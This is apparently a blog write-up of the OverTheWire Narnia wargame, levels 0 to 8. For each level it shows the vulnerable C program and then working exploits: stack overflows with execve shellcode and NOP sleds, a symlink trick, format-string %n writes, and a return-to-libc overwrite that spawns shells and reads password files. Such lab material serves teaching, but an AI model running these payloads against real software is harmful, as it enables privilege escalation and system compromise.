Narnia is an OverTheWire CTF game that dives into the fundamentals of C and x86 exploitation techniques.
If you are just starting, or unfamiliar to the format of the games, check out the other post on Leviathan, the first game of the track. It also does an introduction to many of the gdb
techniques I use in this post that I don't explain.
These write-ups are mainly intended as an education resource and to be followed alongside doing the exercises yourself. The levels somewhat build upon each other, so make sure you completely understand the exploit before moving on and, if possible, exhaust yourself trying them first before reading the explanation. Also, all code posted is under the GNU GPLv2 license.
If you have any questions, please let me know in the comments or hit me up on twitter @cplusperks.
With that said, let's get started.
Table of Contents
Level 0:
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
For the bootstrap level we are given a binary that introduces a simple buffer overflow. In particular we have unprotected scanf
call that does not have a sanity check on the user input we supply. The point is to somehow change that content stored in val
(0x41 = 'A') to the hex value 0xdeadbeef
. We know that our buffer is declared as buf[20]
, so lets see what we need to overwrite it:
narnia0@melinda:/narnia$ (python -c 'print "C"*19') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: CCCCCCCCCCCCCCCCCCC
val: 0x41414141
WAY OFF!!!!
narnia0@melinda:/narnia$ (python -c 'print "C"*20') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCC
val: 0x41414100
WAY OFF!!!!
narnia0@melinda:/narnia$ (python -c 'print "C"*24') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCCCCC
val: 0x43434343
WAY OFF!!!!
As suspected, it seems that we can begin to overwrite val
by supplying 20 chars + 4 bytes. Remembering most systems are little endian, let us try supplying 0xdeadbeef
and see if that works:
narnia0@melinda:/narnia$ (python -c 'print "C"*20 + "\xef\xbe\xad\xde"') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCᆳ�
val: 0xdeadbeef
Strange, even though the value is changed we still don't get a shell. This might be due to the fact that our shell is started, but exists immediately. To overcome this, there is a trick that by executing cat
right afterwards, we can 'trap' the shell in a state where we can execute commands (I think this is because printf
flushes stdin in such a way that EOF is sent to shell causing it to exit and cat
will work around that):
narnia0@melinda:/narnia$ (python -c 'print "C"*20 + "\xef\xbe\xad\xde"';cat) | ./narnia0;
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCᆳ�
val: 0xdeadbeef
whoami
narnia1
cat /etc/narnia_pass/narnia1
**** Password Removed ****
NOTE: It seems that there is a problem with the terminal not being able to display the hex characters properly. Thus another way to solve this is that you need to 'pad' the string at the end with \x90
(A Null-Op) and using that via copy-paste (not redirection) will actually drop you into a proper shell. Weird. If you know why this might be, let me know. Anyways moving on.
Level 1
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
The objective of this level is to execute a custom payload, preferably one that allows us read the password for the next level.
A little bit of extra information, the environ
variable in a binary stores environment variables in the memory space of the executing binary, and a pointer to this pointer can be found at the beginning of execution by examining 16 bytes from $ebp
after it has been initialized (remember *((char **) $ebp + 0x10
if examining in gdb
or simply *environ
with symbols)
However since the program is loading our environment variable directly by calling getenv
, this information won't be necessary just yet.
A common mistake would be that the program expects you to set a shell command to be executed at EGG
, i.e set EGG=/bin/sh
. However what actually needs to happen is whatever is stored at EGG
is going to be executed as instructions, so we need to write position independent 'shellcode'.
The concept of shellcode is outside the scope of this writeup, but I would suggest going over the post at http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html which will give you a good start (and working shellcode)!
Once we do that, with our spawned shell we can read the password:
narnia1@melinda:/narnia$ export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
narnia1@melinda:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
**** Password Removed ****
Level 2
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
Using what we've learned in the last few lessons, the exploit here is to use a stack-based overflow to gain control of EIP
. On x86 systems, EIP
(Extended Instruction Pointer) is the register that points to the location in memory where the next instruction to be executed exists.
However, when a context-switch is triggered with a function call, EIP
is pushed onto the stack in order to preserve it's value after the function returns. With a buffer overflow, we can write past the buffer on the stack into the memory space of EIP
, thus controlling where our control of our program execution when it returns.
We know the buffer size is 128, so lets try figuring the offset for overwrite. The trick is to get the program to segfault by jumping to a space in memory that is unmapped - the location being our input - and find where that tipping point is:
narnia2@melinda:/narnia$ gdb -q narnia2
Reading symbols from narnia2...(no debugging symbols found)...done.
(gdb) r $(python -c 'print "A"*128')
Starting program: /games/narnia/narnia2 $(python -c 'print "A"*128')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[Inferior 1 (process 21393) exited normally]
(gdb) r $(python -c 'print "A"*140')
Starting program: /games/narnia/narnia2 $(python -c 'print "A"*140')
Program received signal SIGSEGV, Segmentation fault.
0xf7e3ca00 in __libc_start_main () from /lib32/libc.so.6
(gdb) r $(python -c 'print "A"*144')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia2 $(python -c 'print "A"*144')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
From this we can gather that after filling the buffer with 140 characters, the next 4 bytes are what we write to EIP
. What should we return to? Well we do have 140 bytes of free space at the location of our buffer, let's drop into GDB and find out where that starts:
(gdb) r $(python -c 'print "A"*140')
Starting program: /games/narnia/narnia2 $(python -c 'print "A"*140')
Program received signal SIGSEGV, Segmentation fault.
0xf7e3ca00 in __libc_start_main () from /lib32/libc.so.6
(gdb) x/20wx $esp
0xffffd650: 0x00000002 0xffffd6e4 0xffffd6f0 0xf7feacea
..... ...
0xffffd830: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd840: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd850: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd860: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd870: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd880: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd890: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8b0: 0x41414141 0x44580041 0x45535f47 0x4f495353
0xffffd8c0: 0x44495f4e 0x3137313d 0x00343235 0x4c454853
So our buffer starts at 0xfffd830
. Because of memory mapping differences between running a program in gdb
and normally, the actual start and end will be slightly different, therefore lets pick a spot slightly later into our buffer to jump to.
For example, my shellcode is 25 bytes long which means that I could jump to anywhere 115 bytes before (140 - 25).
The last thing I need to do is fill the buffer with \x90
instead of A
, which basically is a series of NOPs
that will 'slide' us down to our payload, which is necessary since we wont know exactly where our payload address is. But as long as we land somewhere in the middle of our NOPs
, we can reach it regardless.
Let's set our EIP
to jump to 0xfffd850
which is comfortably in the middle of our buffer. With that, what we input to the program is:
(sizeof(buffer) - sizeof(shellcode) * "\x90") + shellcode + NOP_Sled_Address
Let's try that out:
narnia2@melinda:/narnia$ ./narnia2 $(python -c 'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x50\xd8\xff\xff"')
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
**** Password Removed ****
Nice.
Level 3
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
This is actually a pretty fun little program. Taking a user supplied string, it attempts to open the target file, read it, and the dump its contents into /dev/null
(effectively doing nothing). Let's take a look at the assembly and see if we can find the addresses where our variables live:
narnia3@melinda:/narnia$ echo "perks" > /tmp/perks
narnia3@melinda:/narnia$ gdb -q narnia3
Reading symbols from narnia3...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x0804851d <+0>: push ebp
0x0804851e <+1>: mov ebp,esp
0x08048520 <+3>: and esp,0xfffffff0
..... ...
0x0804858d <+112>: lea eax,[esp+0x58] ***** <-- ofile
0x08048591 <+116>: mov DWORD PTR [esp],eax
0x08048594 <+119>: call 0x80483e0 <open@plt>
..... ...
0x080485cc <+175>: lea eax,[esp+0x38] ***** <-- ifile
0x080485d0 <+179>: mov DWORD PTR [esp],eax
0x080485d3 <+182>: call 0x80483e0 <open@plt>
..... ...
0x0804866a <+333>: call 0x8048410 <close@plt>
0x0804866f <+338>: mov DWORD PTR [esp],0x1
0x08048676 <+345>: call 0x80483d0 <exit@plt
# Set a breakpoint before program exit #
(gdb) r /tmp/perks
Starting program: /games/narnia/narnia3 /tmp/perks
(gdb) x/s $esp+0x38
0xffffd688: "/tmp/perks"
(gdb) x/s $esp+0x58
0xffffd6a8: "/dev/null"
The trick here is that we can exploit a buffer overflow into the stack variable ofile
, causing the dump to happen at a location we wish that will preserve the write instead of discarding it. Then, by providing the input in as a symbolic link to the password file, we will be able to read the contents provided to us by this setuid binary.
One problem though is that the input we provide must also be a valid file (otherwise the open
call will fail), while at the same time overflowing into a custom path. Luckily we know exactly the distance required (both from the source code and arithmetic of $esp+0x58 - $exp+0x38
) which is 32 bytes. We just need to trick the program through clever path manipulation. This is easier to understand when shown, so try and follow along below (my comments are prefixed with a #
):
narnia3@melinda:/narnia$ mkdir /tmp/ex3
narnia3@melinda:/narnia$ cd /tmp/ex3
narnia3@melinda:/tmp/ex3$ pwd
/tmp/ex3 # Our path length is currently 8 bytes + 1 byte for trailing '/'
# 32 - 9 - 1 byte again for trailing '/', 22 bytes left
narnia3@melinda:/tmp/ex3$ mkdir $(python -c 'print "A"*22')
narnia3@melinda:/tmp/ex3$ cd AAAAAAAAAAAAAAAAAAAAAA/
narnia3@melinda:/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA$
narnia3@melinda:/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA$ ln -s /etc/narnia_pass/narnia4 readthis
narnia3@melinda:/tmp/ex3$ file /tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis
/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis: symbolic link to '/etc/narnia_pass/narnia4'
# '/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/' is 32 characters
# Therefore after the /, our input file becomes the target of the output
# which in this case is just 'readthis'. By executing in another directory
# the program, we can create another file called 'readthis' which 'narnia3'
# will look for in the current directory and write to
narnia3@melinda:/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA$ cd .. # Go up
narnia3@melinda:/tmp/ex3$ touch readthis
narnia3@melinda:/tmp/ex3$ chmod 777 readthis # Make sure it can write to it
narnia3@melinda:/tmp/ex3$ /narnia/narnia3 /tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis
copied contents of /tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis to a safer place... (readthis)
narnia3@melinda:/tmp/ex3$ cat readthis
**** Password Removed ****
That whole process may seem a little confusing, especially since there are two files named the same thing in different locations, but step through each step slowly and the reasoning should become apparent. On to the next!
Level 4
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
This level is almost exactly the same as the exercise in Level 2, the only difference being more buffer space and an additional security feature that 0's out all the environment levels in memory (alternatively Level 2 could be solved by jumping to shellcode stored in an environment later -- more on that to come).
I leave this as an exercise to the reader. If you have gotten this far it should be trivial enough to complete (remember you have to play around the address jumping into a NOP
sled due to shifts in memory mapping between gdb
and normal execution of a program).
Level 5
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
Here we are encountering a new sort of vulnerability, one known as a format string attack.
Before proceeding further, check out this post over at CodeArcana that does a great overview on how this attack works and how it allows you to both read and write to arbitrary memory locations (Chapter 12 of Gray Hat Hacking: The Ethical Hacker's Handbook, 3rd Edition also has a great introduction to this).
From an initial overview we see that the program has finally opted to check the size of input before copying into the buffer, which means that our buffer overflow techniques we have been using are no help here.
Thankfully, the level gives you two very strong hints (saving us from a lot of gdb
exploration) in allowing you to both see the memory address you want to overwrite, plus the output from the snprintf
allowing you to calculate the offset you need.
However for the sake of ~ education ~ I will dive into the internals to give an example of how you might do this if you haven't been given the hints (in real programs you won't).
The first thing we need to do is to locate on the stack the positions of both our target (the i = 1
), and the layout of our buffer relative to the stack.
Let's breakpoint right after the snprintf
call because thats when the format attack happens, and I'll draw a map of what is happening in memory (look for annotations):
NOTE: These addresses are most likely to be different than yours, map them yourself accordingly, it should still follow the same principles
narnia5@melinda:/narnia$ gdb -q narnia5
Reading symbols from narnia5...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484bd <+0>: push ebp
0x080484be <+1>: mov ebp,esp
0x080484c0 <+3>: and esp,0xfffffff0
0x080484c3 <+6>: sub esp,0x60
0x080484c6 <+9>: mov DWORD PTR [esp+0x5c],0x1 **** <-- i = 1
0x080484ce <+17>: mov eax,DWORD PTR [ebp+0xc]
0x080484d1 <+20>: add eax,0x4
0x080484d4 <+23>: mov eax,DWORD PTR [eax]
0x080484d6 <+25>: mov DWORD PTR [esp+0x8],eax *** <-- argv[1]
0x080484da <+29>: mov DWORD PTR [esp+0x4],0x40 *** <-- sizeof buffer
0x080484e2 <+37>: lea eax,[esp+0x1c] **** <-- Addr of buffer
0x080484e6 <+41>: mov DWORD PTR [esp],eax
0x080484e9 <+44>: call 0x80483b0 <snprintf@plt>
0x080484ee <+49>: mov BYTE PTR [esp+0x5b],0x0 ******* <-- BREAKPOINT
########## OUR ARGS ABOVE ARE NOW RELATIVE TO $ESP (SEE ABOVE) ######
0x080484f3 <+54>: mov DWORD PTR [esp],0x8048610
0x080484fa <+61>: call 0x8048350 <printf@plt>
0x080484ff <+66>: mov eax,DWORD PTR [esp+0x5c]
0x08048503 <+70>: cmp eax,0x1f4
0x08048508 <+75>: jne 0x8048522 <main+101>
0x0804850a <+77>: mov DWORD PTR [esp],0x8048631
0x08048511 <+84>: call 0x8048360 <puts@plt>
0x08048516 <+89>: mov DWORD PTR [esp],0x8048636
0x0804851d <+96>: call 0x8048370 <system@plt>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b *main+49
Breakpoint 1 at 0x80484ee
(gdb) r AAAA
Starting program: /games/narnia/narnia5 AAAA
Breakpoint 1, 0x080484ee in main ()
(gdb) x/24wx $esp
_ Addr of buffer
| _ sizeof buffer
| | _ Addr of argv[1]
| | |
v v v
0xffffd660: 0xffffd67c 0x00000040 0xffffd8b2 0xf7eb75b6
0xffffd670: 0xffffffff 0xffffd69e 0xf7e2fbf8 0x41414141 <- start of buffer
0xffffd680: 0x00000000 0x00ca0000 0x00000001 0x08048319
0xffffd690: 0xffffd89c 0x0000002f 0x08049858 0x080485d2
0xffffd6a0: 0x00000002 0xffffd764 0xffffd770 0xf7e5610d
0xffffd6b0: 0xf7fca3c4 0xf7ffd000 0x0804858b 0x00000001 <- target (i = 1)
(gdb)
As you can see by the state of the stack, after the last argument, it takes 5 words to reach the beginning of our buffer (verify each argument by doing $esp + offset
). Therefore we know our offset to be 5. We can verify this (if this step does not make sense, go back over how format attacks work):
narnia5@melinda:/narnia$ ./narnia5 AAAA%5\$x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAA41414141] (12)
i = 1 (0xffffd6dc)
narnia5@melinda:/narnia$
Great. Looking back at our map of the stack, we can see the address of where our target is located at 0xffffd6bc
(This is different than that given to us by the hint, remember gdb
maps differently). For now, we will use the address provided by the hint, but to figure out the actual address make sure you pay attention to the use of env -i
in Debugging an Exploit of the CodeArcana post.
Now the tricky part is, when we increase the size of our argv[1]
, it makes sense that it shifts the position of the rest of the stack accordingly, and we have to compensate for that by recalculating where our target is (the hint does this for us, but the process is exactly the same, just pay attention to the offset which it is being stored at on $esp
).
Anyways, the next bit is to attempt to overwrite the target address with out value. We want to change it to 500, which is hex is represented as 0x000001f4
(whole word). The following chart from Gray Hat Hacking: The Ethical Hacker's Handbook summarizes a sort of cheatsheet to doing this (although you should still read the explanations)
Our HOB = 0x0000
and LOB = 0x01f4
. Since our payload fits entirely in the LOB
(HOB
is essentially empty) we actually don't have to use the formula and can just write directly using %n
(the reasoning is explained in the post and resources).
Remember %n
write the amount of bytes we have seen, and providing the target address already gave us 4 bytes. 500 - 4 = 496 bytes we need to pad to write 500 to the target, lets give that a go:
narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\xdc\xd6\xff\xff"')%.496x%5\$n
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [����00000000000000000000000000000000000000000000000000000000000] (63)
i = 1 (0xffffd6cc)
Segmentation fault
What happened? Looking closely at the hint should give you a clue. Remember, when you alter the input you shift the state of the stack. It looks like we did that, causing the location to move from 0xffffd6dc
to 0xffffd6cc
.
Changing it to the proper target address will spawn you a shell. To do with without the hint is unfortunately difficult. You could try brute-forcing around the address with some hints from gdb
to help you out (very tedious), but you should eventually get it (in this case it was 0x10
away from the original). If anyone has a better way let me know! (Update: The writeup of the last exercise on Level 8 shows how to do this somewhat systematically).
narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\xcc\xd6\xff\xff"')%.496x%5\$x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [����00000000000000000000000000000000000000000000000000000000000] (63)
i = 1 (0xffffd6cc)
narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\xcc\xd6\xff\xff"')%.496x%5\$n
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
**** Password Removed ****
Success! This is definitely a tricky concept to get your head around so do read more on the technique if some things are a little fuzzy.
Level 6
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
fp(b1);
exit(1);
}
Coming back to more buffer overflow vulnerabilities, we can exploit a particular flavor of attack called a return-to-libc, although strictly we are not overwriting the return address but rather then the call address. In essence what this means is that instead of relying on loading our own shellcode directly, we will instead abuse the standard library calls within the programs own memory in order to gain an advantage (in this case a shell).
This is important because if we take a look at the source code, we see the environ
and argv
variables being 0'd out, effectively giving us no place to store our shell code (two buffer sizes of [8] does not provide enough space for storage + ability to hit a NOP
sled).
Instead, lets look at the call fp(b1)
and see what is happening. It seems that running the program with two arguments copies both to a buffer, and then calls fp
on the first argument, which is assigned to the address of puts
. The result is printing b1
to the screen. Examining the assembly reveals that b2
actually comes before b1
in memory, and that luckily for us the address of fp
follows the end of b1
, giving us a shot at rewriting it:
..... ...
0x08048690 <+311>: mov ebx,eax
0x08048692 <+313>: call 0x804854d <get_sp>
0x08048697 <+318>: cmp ebx,eax
0x08048699 <+320>: jne 0x80486a7 <main+334>
0x0804869b <+322>: mov DWORD PTR [esp],0xffffffff
0x080486a2 <+329>: call 0x8048410 <exit@plt>
0x080486a7 <+334>: lea eax,[esp+0x20]
0x080486ab <+338>: mov DWORD PTR [esp],eax
0x080486ae <+341>: mov eax,DWORD PTR [esp+0x28] **** <-- Call to 'fp'
0x080486b2 <+345>: call eax
0x080486b4 <+347>: mov DWORD PTR [esp],0x1
=> 0x080486bb <+354>: call 0x8048410 <exit@plt>
End of assembler dump.
(gdb) x/wx $esp+0x28
0xffffd6b8: 0x080483f0 # Address of 'fp' to overwrite
(gdb) b *main+354 # So we can examine stack before we exit
(gdb) r AAAA BBBB
Starting program: /games/narnia/narnia6 AAAA BBBB
AAAA
Breakpoint 1, 0x080486bb in main ()
(gdb) x/24wx $esp
0xffffd690: 0x00000001 0xffffd8b1 0x00000021 0x08048712
_ b2
|
v
0xffffd6a0: 0x00000003 0xffffd764 0x42424242 0xf7e56100
_ b1 _ fp
| |
v v
0xffffd6b0: 0x41414141 0xf7ffd000 0x080483f0 0x00000003
0xffffd6c0: 0x080486c0 0xf7fca000 0x00000000 0xf7e3ca63
0xffffd6d0: 0x00000003 0xffffd764 0xffffd774 0xf7feacea
0xffffd6e0: 0x00000003 0xffffd764 0xffffd704 0x08049978
(gdb) r AAAACCCC BBBB
Starting program: /games/narnia/narnia6 AAAACCCC BBBB
Program received signal SIGSEGV, Segmentation fault.
0x08048301 in ?? ()
So we know we can overflow and write data to the address of fp
. The question is to what?
For one, fp(b1)
expects a single char *
argument. This is very similar to the system
command, which executes in shell a target string. So all we need to do is find the location of system
, overflow fp
to point to that, and ensure b1
is an executable string, such as /bin/sh
. But first, finding system
is as easy as firing up gdb
:
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e62cd0 <system>
With that, there are many ways to do this, You can either be clever with what you input to b1
, or use b2
to actually oveflow back into b1
again. I'll demonstrate both:
# Overflow
narnia6@melinda:/narnia$ ./narnia6 $(python -c 'print "A"*8 + "\xd0\x2c\xe6\xf7"') $(python -c 'print "B"*8 + "/bin/sh"')
$ whoami
narnia7
# Abuse ; for 'system' call
narnia6@melinda:/narnia$ ./narnia6 "/bin/sh;"$(python -c 'print "\xd0\x2c\xe6\xf7"') BBBB
$ whoami
narnia7
$ cat /etc/narnia_pass/narnia7
**** Password Removed ****
Almost there! Just 2 more levels to go.
Level 7
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int goodfunction();
int hackedfunction();
int vuln(const char *format){
char buffer[128];
int (*ptrf)();
memset(buffer, 0, sizeof(buffer));
printf("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);
ptrf = goodfunction;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;
snprintf(buffer, sizeof buffer, format);
return ptrf();
}
int main(int argc, char **argv){
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}
int goodfunction(){
printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
fflush(stdout);
return 0;
}
int hackedfunction(){
printf("Way to go!!!!");
fflush(stdout);
system("/bin/sh");
return 0;
}
It seems like there is a lot going on in this program, but a closer look reveals that we are trying our hand at a format string attack again.
Only this time, instead of writing a static value to a target address, we are attempting to replace the address at ptrf
from goodfunction()
to hackedfunction()
. Luckily we are given most of the information:
narnia7@melinda:/narnia$ ./narnia7 perks
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd63c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction.
The only thing we are missing is the offset from the stack pointer to the start of our buffer, and we are not given a print statement to see this visually. However if you recall from the previous level, we can use gdb
to figure this out:
(gdb) disas vuln # this code is not in main
Dump of assembler code for function vuln:
0x080485cd <+0>: push ebp
0x080485ce <+1>: mov ebp,esp
..... ...
0x0804865e <+145>: mov DWORD PTR [ebp-0x8c],0x80486e0
0x08048668 <+155>: mov eax,DWORD PTR [ebp+0x8]
0x0804866b <+158>: mov DWORD PTR [esp+0x8],eax *** <- Addr of format
0x0804866f <+162>: mov DWORD PTR [esp+0x4],0x80 ** <- sizeof buffer
0x08048677 <+170>: lea eax,[ebp-0x88]
0x0804867d <+176>: mov DWORD PTR [esp],eax ******* <- Addr of bufer
0x08048680 <+179>: call 0x80484c0 <snprintf@plt>
0x08048685 <+184>: mov eax,DWORD PTR [ebp-0x8c]
=> 0x0804868b <+190>: call eax
(gdb) b *vuln+190
Breakpoint 1 at 0x804868b
(gdb) r AAAA
Starting program: /games/narnia/narnia7 AAAA
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd61c)
I guess you want to come to the hackedfunction...
Breakpoint 1, 0x0804868b in vuln ()
(gdb) x/24wx $esp
# 0xfffd8b1 is last arg
0xffffd600: 0xffffd620 0x00000080 0xffffd8b1 0x08048238
0xffffd610: 0xffffd678 0xf7ffda94 0x00000000 0x080486e0
0xffffd620: 0x41414141 0x00000000 0x00000000 0x00000000
0xffffd630: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd640: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd650: 0x00000000 0x00000000 0x00000000 0x00000000
We see its 6 words between our last argument until the start of our buffer, giving us our offset.
Also since the last level, I learned that there was an even easier way to figure out the offset without gdb
and that is by using the tool ltrace
which will actually show you the arguments and return of library function calls, letting us see the result of the snprintf
:
narnia7@melinda:/narnia$ ltrace ./narnia7 AAAA%x%x%x%x%x%x
__libc_start_main(0x804868f, 2, 0xffffd774, 0x8048740 <unfinished ...>
memset(0xffffd630, '\0', 128) = 0xffffd630
printf("goodfunction() = %p\n", 0x80486e0goodfunction() = 0x80486e0
) = 27
printf("hackedfunction() = %p\n\n", 0x8048706hackedfunction() = 0x8048706
) = 30
printf("before : ptrf() = %p (%p)\n", 0x80486e0, 0xffffd62cbefore : ptrf() = 0x80486e0 (0xffffd62c)
) = 41
puts("I guess you want to come to the "...I guess you want to come to the hackedfunction...
) = 50
sleep(2) = 0
snprintf("AAAA8048238ffffd688f7ffda9408048"..., 128, "AAAA%x%x%x%x%x%x", 0x8048238, 0xffffd688, 0xf7ffda94, 0, 0x80486e0, 0x41414141) = 43
puts("Welcome to the goodfunction, but"...Welcome to the goodfunction, but i said the Hackedfunction..
) = 61
fflush(0xf7fcaac0) = 0
exit(0 <no return ...>
+++ exited (status 0) +++
Now that we have the offset, crafting our payload should be as easy as following the table here and making sure we adjust for stack shifts (remember to escape $
, e.g: %6\$hn
):
narnia7@melinda:/narnia$ ./narnia7 $(python -c 'print "\x3e\xd6\xff\xff\x3c\xd6\xff\xff"')%.2044x%6\$hn%.32514x%7\$hn
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd61c) # Need to adjust
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
# Adjusted
narnia7@melinda:/narnia$ ./narnia7 $(python -c 'print "\x1e\xd6\xff\xff\x1c\xd6\xff\xff"')%.2044x%6\$hn%.32514x%7\$hn
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd61c)
I guess you want to come to the hackedfunction...
Way to go!!!!$ whoami
narnia8
$ cat /etc/narnia_pass/narnia8
**** Password Removed ****
Sweet! Next up, the final boss.
Level 8
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}
For our final exploit we are given what looks like another buffer overflow -- but with a twist. It seems that no matter what we do, we can't get an overflow!
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*1000')
AAAAAAAAAAAAAAAAAAAAA���
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*20000')
AAAAAAAAAAAAAAAAAAAAA���
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*200000')
-bash: ./narnia8: Argument list too long
We can at most get 21 A's
to appear, followed by some junk characters, no matter how many we input. As with most levels, let's jump into gdb
for one last hurrah:
